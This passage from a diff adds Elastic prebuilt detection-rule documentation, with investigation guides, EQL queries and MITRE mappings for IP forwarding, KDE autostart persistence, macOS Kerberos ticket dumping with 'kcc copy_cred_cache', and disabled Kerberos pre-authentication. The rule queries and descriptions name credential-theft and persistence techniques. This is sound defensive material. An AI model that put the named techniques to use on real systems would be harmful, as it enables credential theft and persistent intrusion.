backup or synchronization services that use IPSEC for secure data transfer might be flagged. Monitor these services and exclude their traffic patterns if they are verified as non-threatening. +- Some enterprise applications may use IPSEC NAT Traversal for secure communication. Conduct an inventory of such applications and adjust the rule to exclude their traffic after confirming their legitimacy. +- Regularly update the list of known safe IP addresses and services to ensure that new legitimate sources of IPSEC NAT Traversal traffic are promptly excluded from triggering alerts. + + +*Response and remediation* + + +- Immediately isolate the affected system from the network to prevent further potential malicious activity and lateral movement. +- Conduct a thorough analysis of the isolated system to identify any signs of compromise, such as unauthorized access or data exfiltration, focusing on logs and network traffic related to UDP port 4500. +- Block all suspicious IP addresses associated with the detected traffic on port 4500 at the network perimeter to prevent further communication with potential threat actors. +- Review and update firewall and intrusion detection/prevention system (IDS/IPS) rules to ensure they effectively block unauthorized IPSEC NAT Traversal traffic, particularly on UDP port 4500. +- Restore the affected system from a known good backup if any signs of compromise are confirmed, ensuring that all security patches and updates are applied before reconnecting to the network. +- Escalate the incident to the security operations center (SOC) or incident response team for further investigation and to determine if additional systems are affected. +- Implement enhanced monitoring and logging for UDP traffic on port 4500 to detect and respond to any future suspicious activity promptly. + +==== Rule query + + +[source, js] +---------------------------------- +(event.dataset: network_traffic.flow or (event.category: (network or network_traffic))) and network.transport:udp and destination.port:4500 + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Command and Control +** ID: TA0011 +** Reference URL: https://attack.mitre.org/tactics/TA0011/ +* Technique: +** Name: Non-Application Layer Protocol +** ID: T1095 +** Reference URL: https://attack.mitre.org/techniques/T1095/ +* Technique: +** Name: Protocol Tunneling +** ID: T1572 +** Reference URL: https://attack.mitre.org/techniques/T1572/ +* Technique: +** Name: Encrypted Channel +** ID: T1573 +** Reference URL: https://attack.mitre.org/techniques/T1573/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-ipv4-ipv6-forwarding-activity.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-ipv4-ipv6-forwarding-activity.asciidoc new file mode 100644 index 0000000000..eecafdf906 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-ipv4-ipv6-forwarding-activity.asciidoc @@ -0,0 +1,141 @@ +[[prebuilt-rule-8-19-20-ipv4-ipv6-forwarding-activity]] +=== IPv4/IPv6 Forwarding Activity + +This rule monitors for the execution of commands that enable IPv4 and IPv6 forwarding on Linux systems. Enabling IP forwarding can be used to route network traffic between different network interfaces, potentially allowing attackers to pivot between networks, exfiltrate data, or establish command and control channels. + +*Rule type*: eql + +*Rule indices*: + +* endgame-* +* logs-endpoint.events.process* +* logs-sentinel_one_cloud_funnel.* +* logs-crowdstrike.fdr* + +*Severity*: low + +*Risk score*: 21 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: None + +*Tags*: + +* Domain: Endpoint +* OS: Linux +* Use Case: Threat Detection +* Tactic: Command and Control +* Data Source: Elastic Defend +* Data Source: SentinelOne +* Data Source: Elastic Endgame +* Resources: Investigation Guide +* Data Source: Crowdstrike + +*Version*: 108 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating IPv4/IPv6 Forwarding Activity* + + +IPv4/IPv6 forwarding allows a Linux system to route traffic between network interfaces, facilitating network communication. While essential for legitimate network operations, adversaries can exploit this capability to pivot across networks, exfiltrate data, or maintain control channels. The detection rule identifies suspicious command executions that enable IP forwarding, focusing on specific command patterns and processes, thus highlighting potential misuse. + + +*Possible investigation steps* + + +- Review the process command line details to understand the context in which IP forwarding was enabled, focusing on the specific command patterns identified in the alert. +- Identify the parent process of the suspicious command execution using the process.parent.executable field to determine if it was initiated by a legitimate or potentially malicious process. +- Check the user account associated with the process execution to assess if the action was performed by an authorized user or if there are signs of compromised credentials. +- Investigate recent network activity on the host to identify any unusual traffic patterns or connections that could indicate data exfiltration or lateral movement. +- Correlate the alert with other security events or logs from the same host or network segment to identify any related suspicious activities or patterns. +- Assess the system's current configuration and network topology to determine if enabling IP forwarding could have been part of a legitimate administrative task or if it poses a security risk. + + +*False positive analysis* + + +- Routine administrative tasks may trigger the rule when system administrators enable IP forwarding for legitimate network configuration purposes. To manage this, create exceptions for known administrative scripts or processes that regularly perform these actions. +- Automated scripts or configuration management tools like Ansible or Puppet might execute commands that match the rule's criteria. Identify these tools and exclude their processes from the rule to prevent false alerts. +- Network testing or troubleshooting activities often require temporary enabling of IP forwarding. Document and exclude these activities when performed by trusted users or during scheduled maintenance windows. +- Virtualization or container orchestration platforms may enable IP forwarding as part of their normal operations. Recognize these platforms and adjust the rule to ignore their specific processes or command patterns. +- Security tools or network monitoring solutions might also enable IP forwarding for analysis purposes. Verify these tools and exclude their processes to avoid unnecessary alerts. + + +*Response and remediation* + + +- Immediately isolate the affected Linux system from the network to prevent further unauthorized access or data exfiltration. +- Terminate any suspicious processes identified by the detection rule, particularly those enabling IP forwarding, to halt potential lateral movement or data exfiltration. +- Conduct a thorough review of network traffic logs to identify any unusual or unauthorized connections that may indicate command and control activity. +- Revert any unauthorized changes to system configurations, specifically those related to IP forwarding settings, to restore the system to its secure state. +- Escalate the incident to the security operations team for further investigation and to determine if additional systems are compromised. +- Implement network segmentation to limit the ability of attackers to pivot between networks in the future. +- Enhance monitoring and alerting for similar suspicious activities by tuning detection systems to recognize patterns associated with IP forwarding misuse. + +==== Rule query + + +[source, js] +---------------------------------- +process where host.os.type == "linux" and event.type == "start" and event.action in ("exec", "start", "exec_event", "ProcessRollup2") and +?process.parent.executable != null and process.command_line like ( + "*net.ipv4.ip_forward*", "*/proc/sys/net/ipv4/ip_forward*", "*net.ipv6.conf.all.forwarding*", + "*/proc/sys/net/ipv6/conf/all/forwarding*" +) and ( + (process.name == "sysctl" and process.args like ("*-w*", "*--write*", "*=*")) or + ( + process.name in ("bash", "dash", "sh", "tcsh", "csh", "zsh", "ksh", "fish") and process.args == "-c" and + process.command_line like "*echo *" + ) +) and +not ( + process.parent.name like~ ("privsep-helper", "platform-python*", "init.ipv6-global", "wsl-bootstrap") or + ?process.parent.executable == "/usr/sbin/sshd" or + ?process.parent.args in ( + "/usr/lib/pritunl/usr/bin/pritunl", "/usr/bin/dockerd-rootless.sh", "/etc/rc.d/init.d/network", "/etc/rc0.d/K90network" + ) or + ?process.parent.args like "/etc/untangle/post-network-hook.d/*" +) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Command and Control +** ID: TA0011 +** Reference URL: https://attack.mitre.org/tactics/TA0011/ +* Technique: +** Name: Proxy +** ID: T1090 +** Reference URL: https://attack.mitre.org/techniques/T1090/ +* Sub-technique: +** Name: Internal Proxy +** ID: T1090.001 +** Reference URL: https://attack.mitre.org/techniques/T1090/001/ +* Technique: +** Name: Protocol Tunneling +** ID: T1572 +** Reference URL: https://attack.mitre.org/techniques/T1572/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-kde-autostart-script-or-desktop-file-creation.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-kde-autostart-script-or-desktop-file-creation.asciidoc new file mode 100644 index 0000000000..3a8ca14a81 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-kde-autostart-script-or-desktop-file-creation.asciidoc @@ -0,0 +1,232 @@ +[[prebuilt-rule-8-19-20-kde-autostart-script-or-desktop-file-creation]] +=== KDE AutoStart Script or Desktop File Creation + +Identifies the creation or modification of a K Desktop Environment (KDE) AutoStart script or desktop file that will execute upon each user logon. Adversaries may abuse this method for persistence. + +*Rule type*: eql + +*Rule indices*: + +* auditbeat-* +* endgame-* +* logs-endpoint.events.file* +* logs-sentinel_one_cloud_funnel.* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://userbase.kde.org/System_Settings/Autostart +* https://www.amnesty.org/en/latest/research/2020/09/german-made-finspy-spyware-found-in-egypt-and-mac-and-linux-versions-revealed/ +* https://www.intezer.com/blog/research/operation-electrorat-attacker-creates-fake-companies-to-drain-your-crypto-wallets/ +* https://www.elastic.co/security-labs/primer-on-persistence-mechanisms + +*Tags*: + +* Domain: Endpoint +* OS: Linux +* Use Case: Threat Detection +* Tactic: Persistence +* Data Source: Elastic Endgame +* Data Source: Elastic Defend +* Data Source: SentinelOne +* Resources: Investigation Guide + +*Version*: 220 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating KDE AutoStart Script or Desktop File Creation* + + +K Desktop Environment (KDE) is a popular graphical desktop environment for Linux systems. It supports AutoStart scripts and desktop files that execute automatically upon user logon. + +Adversaries may exploit this feature to maintain persistence on a compromised system by creating or modifying these files. + +The detection rule 'KDE AutoStart Script or Desktop File Creation' is designed to identify such activities by monitoring file events on Linux systems. It specifically targets the creation or modification of files with extensions ".sh" or ".desktop" in various AutoStart directories. By detecting these events, the rule helps security analysts identify potential abuse of KDE AutoStart functionality by malicious actors. + +> **Note**: +> This investigation guide uses the https://www.elastic.co/guide/en/security/current/invest-guide-run-osquery.html[Osquery Markdown Plugin] introduced in Elastic Stack version 8.5.0. Older Elastic Stack versions will display unrendered Markdown in this guide. +> This investigation guide uses https://www.elastic.co/guide/en/security/current/osquery-placeholder-fields.html[placeholder fields] to dynamically pass alert data into Osquery queries. Placeholder fields were introduced in Elastic Stack version 8.7.0. If you're using Elastic Stack version 8.6.0 or earlier, you'll need to manually adjust this investigation guide's queries to ensure they properly run. + + +*Possible investigation steps* + + +- Investigate the file that was created or modified. + - !{osquery{"label":"Osquery - Retrieve File Listing Information","query":"SELECT * FROM file WHERE ( path LIKE '/home/%/.config/autostart/%.sh' OR path LIKE '/home/%/.config/autostart/%.desktop'\nOR path LIKE '/root/.config/autostart/%.sh' OR path LIKE '/root/.config/autostart/%.desktop' OR path LIKE\n'/home/%/.kde/Autostart/%.sh' OR path LIKE '/home/%/.kde/Autostart/%.desktop' OR path LIKE '/root/.kde/Autostart/%.sh'\nOR path LIKE '/root/.kde/Autostart/%.desktop' OR path LIKE '/home/%/.kde4/Autostart/%.sh' OR path LIKE\n'/home/%/.kde4/Autostart/%.desktop' OR path LIKE '/root/.kde4/Autostart/%.sh' OR path LIKE\n'/root/.kde4/Autostart/%.desktop' OR path LIKE '/home/%/.kde/share/autostart/%.sh' OR path LIKE\n'/home/%/.kde/share/autostart/%.desktop' OR path LIKE '/root/.kde/share/autostart/%.sh' OR path LIKE\n'/root/.kde/share/autostart/%.desktop' OR path LIKE '/home/%/.kde4/share/autostart/%.sh' OR path LIKE\n'/home/%/.kde4/share/autostart/%.desktop' OR path LIKE '/root/.kde4/share/autostart/%.sh' OR path LIKE\n'/root/.kde4/share/autostart/%.desktop' OR path LIKE '/home/%/.local/share/autostart/%.sh' OR path LIKE\n'/home/%/.local/share/autostart/%.desktop' OR path LIKE '/root/.local/share/autostart/%.sh' OR path LIKE\n'/root/.local/share/autostart/%.desktop' OR path LIKE '/home/%/.config/autostart-scripts/%.sh' OR path LIKE\n'/home/%/.config/autostart-scripts/%.desktop' OR path LIKE '/root/.config/autostart-scripts/%.sh' OR path LIKE\n'/root/.config/autostart-scripts/%.desktop' OR path LIKE '/etc/xdg/autostart/%.sh' OR path LIKE\n'/etc/xdg/autostart/%.desktop' OR path LIKE '/usr/share/autostart/%.sh' OR path LIKE '/usr/share/autostart/%.desktop' )\n"}} + - !{osquery{"label":"Osquery - Retrieve Additional File Listing Information","query":"SELECT f.path, u.username AS file_owner, g.groupname AS group_owner, datetime(f.atime, 'unixepoch') AS\nfile_last_access_time, datetime(f.mtime, 'unixepoch') AS file_last_modified_time, datetime(f.ctime, 'unixepoch') AS\nfile_last_status_change_time, datetime(f.btime, 'unixepoch') AS file_created_time, f.size AS size_bytes FROM file f LEFT\nJOIN users u ON f.uid = u.uid LEFT JOIN groups g ON f.gid = g.gid WHERE ( path LIKE '/home/%/.config/autostart/%.sh' OR\npath LIKE '/home/%/.config/autostart/%.desktop' OR path LIKE '/root/.config/autostart/%.sh' OR path LIKE\n'/root/.config/autostart/%.desktop' OR path LIKE '/home/%/.kde/Autostart/%.sh' OR path LIKE\n'/home/%/.kde/Autostart/%.desktop' OR path LIKE '/root/.kde/Autostart/%.sh' OR path LIKE\n'/root/.kde/Autostart/%.desktop' OR path LIKE '/home/%/.kde4/Autostart/%.sh' OR path LIKE\n'/home/%/.kde4/Autostart/%.desktop' OR path LIKE '/root/.kde4/Autostart/%.sh' OR path LIKE\n'/root/.kde4/Autostart/%.desktop' OR path LIKE '/home/%/.kde/share/autostart/%.sh' OR path LIKE\n'/home/%/.kde/share/autostart/%.desktop' OR path LIKE '/root/.kde/share/autostart/%.sh' OR path LIKE\n'/root/.kde/share/autostart/%.desktop' OR path LIKE '/home/%/.kde4/share/autostart/%.sh' OR path LIKE\n'/home/%/.kde4/share/autostart/%.desktop' OR path LIKE '/root/.kde4/share/autostart/%.sh' OR path LIKE\n'/root/.kde4/share/autostart/%.desktop' OR path LIKE '/home/%/.local/share/autostart/%.sh' OR path LIKE\n'/home/%/.local/share/autostart/%.desktop' OR path LIKE '/root/.local/share/autostart/%.sh' OR path LIKE\n'/root/.local/share/autostart/%.desktop' OR path LIKE '/home/%/.config/autostart-scripts/%.sh' OR path LIKE\n'/home/%/.config/autostart-scripts/%.desktop' OR path LIKE '/root/.config/autostart-scripts/%.sh' OR path LIKE\n'/root/.config/autostart-scripts/%.desktop' OR path LIKE '/etc/xdg/autostart/%.sh' OR path LIKE\n'/etc/xdg/autostart/%.desktop' OR path LIKE '/usr/share/autostart/%.sh' OR path LIKE '/usr/share/autostart/%.desktop' )\n"}} +- Investigate the script execution chain (parent process tree) for unknown processes. Examine their executable files for prevalence and whether they are located in expected locations. + - !{osquery{"label":"Osquery - Retrieve Running Processes by User","query":"SELECT pid, username, name FROM processes p JOIN users u ON u.uid = p.uid ORDER BY username"}} +- Investigate other alerts associated with the user/host during the past 48 hours. +- Validate the activity is not related to planned patches, updates, network administrator activity, or legitimate software installations. +- Investigate whether the altered scripts call other malicious scripts elsewhere on the file system. + - If scripts or executables were dropped, retrieve the files and determine if they are malicious: + - Use a private sandboxed malware analysis system to perform analysis. + - Observe and collect information about the following activities: + - Attempts to contact external domains and addresses. + - Check if the domain is newly registered or unexpected. + - Check the reputation of the domain or IP address. + - File access, modification, and creation activities. + - Cron jobs, services and other persistence mechanisms. + - !{osquery{"label":"Osquery - Retrieve Crontab Information","query":"SELECT * FROM crontab"}} +- Investigate abnormal behaviors by the subject process/user such as network connections, file modifications, and any other spawned child processes. + - Investigate listening ports and open sockets to look for potential command and control traffic or data exfiltration. + - !{osquery{"label":"Osquery - Retrieve Listening Ports","query":"SELECT pid, address, port, socket, protocol, path FROM listening_ports"}} + - !{osquery{"label":"Osquery - Retrieve Open Sockets","query":"SELECT pid, family, remote_address, remote_port, socket, state FROM process_open_sockets"}} + - Identify the user account that performed the action, analyze it, and check whether it should perform this kind of action. + - !{osquery{"label":"Osquery - Retrieve Information for a Specific User","query":"SELECT * FROM users WHERE username = {{user.name}}"}} +- Investigate whether the user is currently logged in and active. + - !{osquery{"label":"Osquery - Investigate the Account Authentication Status","query":"SELECT * FROM logged_in_users WHERE user = {{user.name}}"}} + + +*False positive analysis* + + +- If this activity is related to new benign software installation activity, consider adding exceptions — preferably with a combination of user and command line conditions. +- If this activity is related to a system administrator who uses cron jobs for administrative purposes, consider adding exceptions for this specific administrator user account. +- Try to understand the context of the execution by thinking about the user, machine, or business purpose. A small number of endpoints, such as servers with unique software, might appear unusual but satisfy a specific business need. + + +*Response and Remediation* + + +- Initiate the incident response process based on the outcome of the triage. +- Isolate the involved host to prevent further post-compromise behavior. +- If the triage identified malware, search the environment for additional compromised hosts. + - Implement temporary network rules, procedures, and segmentation to contain the malware. + - Stop suspicious processes. + - Immediately block the identified indicators of compromise (IoCs). + - Inspect the affected systems for additional malware backdoors like reverse shells, reverse proxies, or droppers that attackers could use to reinfect the system. +- Investigate credential exposure on systems compromised or used by the attacker to ensure all compromised accounts are identified. Reset passwords for these accounts and other potentially compromised credentials, such as email, business systems, and web services. +- Run a full antimalware scan. This may reveal additional artifacts left in the system, persistence mechanisms, and malware components. +- Determine the initial vector abused by the attacker and take action to prevent reinfection through the same vector. +- Leverage the incident response data and logging to improve the mean time to detect (MTTD) and the mean time to respond (MTTR). + + +==== Setup + + + +*Setup* + + +This rule requires data coming in from one of the following integrations: +- Elastic Defend +- Auditbeat + + +*Elastic Defend Integration Setup* + +Elastic Defend is integrated into the Elastic Agent using Fleet. Upon configuration, the integration allows the Elastic Agent to monitor events on your host and send data to the Elastic Security app. + + +*Prerequisite Requirements:* + +- Fleet is required for Elastic Defend. +- To configure Fleet Server refer to the https://www.elastic.co/guide/en/fleet/current/fleet-server.html[documentation]. + + +*The following steps should be executed in order to add the Elastic Defend integration on a Linux System:* + +- Go to the Kibana home page and click "Add integrations". +- In the query bar, search for "Elastic Defend" and select the integration to see more details about it. +- Click "Add Elastic Defend". +- Configure the integration name and optionally add a description. +- Select the type of environment you want to protect, either "Traditional Endpoints" or "Cloud Workloads". +- Select a configuration preset. Each preset comes with different default settings for Elastic Agent, you can further customize these later by configuring the Elastic Defend integration policy. https://www.elastic.co/guide/en/security/current/configure-endpoint-integration-policy.html[Helper guide]. +- We suggest selecting "Complete EDR (Endpoint Detection and Response)" as a configuration setting, that provides "All events; all preventions" +- Enter a name for the agent policy in "New agent policy name". If other agent policies already exist, you can click the "Existing hosts" tab and select an existing policy instead. +For more details on Elastic Agent configuration settings, refer to the https://www.elastic.co/guide/en/fleet/8.10/agent-policy.html[helper guide]. +- Click "Save and Continue". +- To complete the integration, select "Add Elastic Agent to your hosts" and continue to the next section to install the Elastic Agent on your hosts. +For more details on Elastic Defend refer to the https://www.elastic.co/guide/en/security/current/install-endpoint.html[helper guide]. + + +*Auditbeat Setup* + +Auditbeat is a lightweight shipper that you can install on your servers to audit the activities of users and processes on your systems. For example, you can use Auditbeat to collect and centralize audit events from the Linux Audit Framework. You can also use Auditbeat to detect changes to critical files, like binaries and configuration files, and identify potential security policy violations. + + +*The following steps should be executed in order to add the Auditbeat on a Linux System:* + +- Elastic provides repositories available for APT and YUM-based distributions. Note that we provide binary packages, but no source packages. +- To install the APT and YUM repositories follow the setup instructions in this https://www.elastic.co/guide/en/beats/auditbeat/current/setup-repositories.html[helper guide]. +- To run Auditbeat on Docker follow the setup instructions in the https://www.elastic.co/guide/en/beats/auditbeat/current/running-on-docker.html[helper guide]. +- To run Auditbeat on Kubernetes follow the setup instructions in the https://www.elastic.co/guide/en/beats/auditbeat/current/running-on-kubernetes.html[helper guide]. +- For complete “Setup and Run Auditbeat” information refer to the https://www.elastic.co/guide/en/beats/auditbeat/current/setting-up-and-running.html[helper guide]. + + +*Custom Ingest Pipeline* + +For versions <8.2, you need to add a custom ingest pipeline to populate `event.ingested` with @timestamp for non-elastic-agent indexes, like auditbeats/filebeat/winlogbeat etc. For more details to add a custom ingest pipeline refer to the https://www.elastic.co/guide/en/fleet/current/data-streams-pipeline-tutorial.html[guide]. + + +==== Rule query + + +[source, js] +---------------------------------- +file where host.os.type == "linux" and event.type == "creation" and process.executable != null and +file.extension in ("sh", "desktop") and +file.path like ( + "/home/*/.config/autostart/*", "/root/.config/autostart/*", + "/home/*/.kde/Autostart/*", "/root/.kde/Autostart/*", + "/home/*/.kde4/Autostart/*", "/root/.kde4/Autostart/*", + "/home/*/.kde/share/autostart/*", "/root/.kde/share/autostart/*", + "/home/*/.kde4/share/autostart/*", "/root/.kde4/share/autostart/*", + "/home/*/.local/share/autostart/*", "/root/.local/share/autostart/*", + "/home/*/.config/autostart-scripts/*", "/root/.config/autostart-scripts/*", + "/etc/xdg/autostart/*", "/usr/share/autostart/*" +) and +not ( + process.name in ( + "yum", "dpkg", "install", "dnf", "teams", "yum-cron", "dnf-automatic", "docker", "dockerd", "rpm", "pacman", + "podman", "nautilus", "remmina", "cinnamon-settings.py", "executor", "xfce4-clipman", "jetbrains-toolbox", + "ansible-admin", "apk" + ) or + process.executable in ( + "/usr/bin/dnf5", "/usr/libexec/xdg-desktop-portal", "/usr/sbin/mkhomedir_helper", "/sbin/mkhomedir_helper", + "/usr/bin/crio", "/usr/sbin/useradd", "/usr/bin/nextcloud", "/usr/bin/sealert", "/opt/google/chrome/chrome", + "/usr/bin/pamac-daemon", "/usr/sbin/sshd", "/usr/sbin/gdm", "/usr/libexec/platform-python" + ) or + process.executable like "/home/*/.MathWorks/*/glnxa64/mlcpostinstall" +) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Persistence +** ID: TA0003 +** Reference URL: https://attack.mitre.org/tactics/TA0003/ +* Technique: +** Name: Boot or Logon Autostart Execution +** ID: T1547 +** Reference URL: https://attack.mitre.org/techniques/T1547/ +* Sub-technique: +** Name: XDG Autostart Entries +** ID: T1547.013 +** Reference URL: https://attack.mitre.org/techniques/T1547/013/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-kerberos-cached-credentials-dumping.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-kerberos-cached-credentials-dumping.asciidoc new file mode 100644 index 0000000000..1818b70c57 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-kerberos-cached-credentials-dumping.asciidoc @@ -0,0 +1,162 @@ +[[prebuilt-rule-8-19-20-kerberos-cached-credentials-dumping]] +=== Kerberos Cached Credentials Dumping + +Identifies the use of the Kerberos credential cache (kcc) utility to dump locally cached Kerberos tickets. Adversaries may attempt to dump credential material in the form of tickets that can be leveraged for lateral movement. + +*Rule type*: eql + +*Rule indices*: + +* logs-endpoint.events.* + +*Severity*: high + +*Risk score*: 73 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://github.com/EmpireProject/EmPyre/blob/master/lib/modules/collection/osx/kerberosdump.py +* https://opensource.apple.com/source/Heimdal/Heimdal-323.12/kuser/kcc-commands.in.auto.html + +*Tags*: + +* Domain: Endpoint +* OS: macOS +* Use Case: Threat Detection +* Tactic: Credential Access +* Data Source: Elastic Defend +* Resources: Investigation Guide + +*Version*: 111 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Kerberos Cached Credentials Dumping* + + +Kerberos is a network authentication protocol designed to provide secure identity verification for users and services. It uses tickets to allow nodes to prove their identity in a secure manner. Adversaries may exploit tools like the Kerberos credential cache utility to extract these tickets, enabling unauthorized access and lateral movement within a network. The detection rule identifies suspicious activity by monitoring for specific processes and arguments on macOS systems, flagging potential credential dumping attempts. + + +*Possible investigation steps* + + +- Review the alert details to confirm the presence of the process name 'kcc' and the argument 'copy_cred_cache' in the process execution logs on macOS systems. +- Identify the user account associated with the process execution to determine if the activity aligns with expected behavior or if it indicates potential unauthorized access. +- Examine the timeline of the process execution to identify any preceding or subsequent suspicious activities, such as unusual login attempts or lateral movement within the network. +- Check for any other alerts or logs related to the same host or user account to assess if this is part of a broader attack pattern. +- Investigate the source and destination of any network connections made by the process to identify potential data exfiltration or communication with known malicious IP addresses. +- Consult with the user or system owner to verify if the use of the 'kcc' utility was legitimate or if it requires further investigation. + + +*False positive analysis* + + +- Routine administrative tasks using the kcc utility may trigger the rule. Identify and document these tasks to create exceptions for known benign activities. +- Automated scripts or maintenance processes that involve copying Kerberos credential caches can be mistaken for malicious activity. Review and whitelist these scripts if they are verified as safe. +- Developers or IT personnel testing Kerberos configurations might use the kcc utility in a non-malicious context. Establish a process to log and approve such activities to prevent false alarms. +- Security tools or monitoring solutions that interact with Kerberos tickets for legitimate purposes may inadvertently trigger the rule. Coordinate with security teams to ensure these tools are recognized and excluded from detection. + + +*Response and remediation* + + +- Immediately isolate the affected macOS system from the network to prevent further unauthorized access or lateral movement. +- Terminate the suspicious process identified as 'kcc' with the argument 'copy_cred_cache' to stop any ongoing credential dumping activity. +- Conduct a thorough review of the system's Kerberos ticket cache to identify any unauthorized access or anomalies, and invalidate any compromised tickets. +- Reset passwords and regenerate Kerberos tickets for any accounts that may have been affected to prevent further unauthorized access. +- Escalate the incident to the security operations center (SOC) or incident response team for further investigation and to determine the scope of the breach. +- Implement additional monitoring on the affected system and similar endpoints to detect any recurrence of the credential dumping activity. +- Review and update access controls and Kerberos configurations to enhance security and reduce the risk of similar attacks in the future. + +==== Setup + + + +*Setup* + + +This rule requires data coming in from Elastic Defend. + + +*Elastic Defend Integration Setup* + +Elastic Defend is integrated into the Elastic Agent using Fleet. Upon configuration, the integration allows the Elastic Agent to monitor events on your host and send data to the Elastic Security app. + + +*Prerequisite Requirements:* + +- Fleet is required for Elastic Defend. +- To configure Fleet Server refer to the https://www.elastic.co/guide/en/fleet/current/fleet-server.html[documentation]. + + +*The following steps should be executed in order to add the Elastic Defend integration on a macOS System:* + +- Go to the Kibana home page and click "Add integrations". +- In the query bar, search for "Elastic Defend" and select the integration to see more details about it. +- Click "Add Elastic Defend". +- Configure the integration name and optionally add a description. +- Select the type of environment you want to protect, for MacOS it is recommended to select "Traditional Endpoints". +- Select a configuration preset. Each preset comes with different default settings for Elastic Agent, you can further customize these later by configuring the Elastic Defend integration policy. https://www.elastic.co/guide/en/security/current/configure-endpoint-integration-policy.html[Helper guide]. +- We suggest selecting "Complete EDR (Endpoint Detection and Response)" as a configuration setting, that provides "All events; all preventions" +- Enter a name for the agent policy in "New agent policy name". If other agent policies already exist, you can click the "Existing hosts" tab and select an existing policy instead. +For more details on Elastic Agent configuration settings, refer to the https://www.elastic.co/guide/en/fleet/current/agent-policy.html[helper guide]. +- Click "Save and Continue". +- To complete the integration, select "Add Elastic Agent to your hosts" and continue to the next section to install the Elastic Agent on your hosts. +For more details on Elastic Defend refer to the https://www.elastic.co/guide/en/security/current/install-endpoint.html[helper guide]. + + +==== Rule query + + +[source, js] +---------------------------------- +process where host.os.type == "macos" and event.type in ("start", "process_started") and + process.name == "kcc" and + process.args like~ "copy_cred_cache" + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Credential Access +** ID: TA0006 +** Reference URL: https://attack.mitre.org/tactics/TA0006/ +* Technique: +** Name: OS Credential Dumping +** ID: T1003 +** Reference URL: https://attack.mitre.org/techniques/T1003/ +* Technique: +** Name: Steal or Forge Kerberos Tickets +** ID: T1558 +** Reference URL: https://attack.mitre.org/techniques/T1558/ +* Sub-technique: +** Name: Kerberoasting +** ID: T1558.003 +** Reference URL: https://attack.mitre.org/techniques/T1558/003/ +* Sub-technique: +** Name: Ccache Files +** ID: T1558.005 +** Reference URL: https://attack.mitre.org/techniques/T1558/005/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-kerberos-pre-authentication-disabled-for-user.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-kerberos-pre-authentication-disabled-for-user.asciidoc new file mode 100644 index 0000000000..b878c1fd68 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-kerberos-pre-authentication-disabled-for-user.asciidoc @@ -0,0 +1,167 @@ +[[prebuilt-rule-8-19-20-kerberos-pre-authentication-disabled-for-user]] +=== Kerberos Pre-authentication Disabled for User + +Identifies the modification of an account's Kerberos pre-authentication options. An adversary with GenericWrite/GenericAll rights over the account can maliciously modify these settings to perform offline password cracking attacks such as AS-REP roasting. + +*Rule type*: eql + +*Rule indices*: + +* logs-system.security* +* logs-windows.forwarded* +* winlogbeat-* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://harmj0y.medium.com/roasting-as-reps-e6179a65216b +* https://docs.microsoft.com/en-us/windows/security/threat-protection/auditing/event-4738 +* https://github.com/atc-project/atomic-threat-coverage/blob/master/Atomic_Threat_Coverage/Logging_Policies/LP_0026_windows_audit_user_account_management.md + +*Tags*: + +* Domain: Endpoint +* OS: Windows +* Use Case: Threat Detection +* Tactic: Credential Access +* Tactic: Defense Evasion +* Tactic: Privilege Escalation +* Resources: Investigation Guide +* Use Case: Active Directory Monitoring +* Data Source: Active Directory +* Data Source: Windows Security Event Logs + +*Version*: 218 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating Kerberos Pre-authentication Disabled for User* + + +Kerberos pre-authentication is an account protection against offline password cracking. When enabled, a user requesting access to a resource initiates communication with the Domain Controller (DC) by sending an Authentication Server Request (AS-REQ) message with a timestamp that is encrypted with the hash of their password. If and only if the DC is able 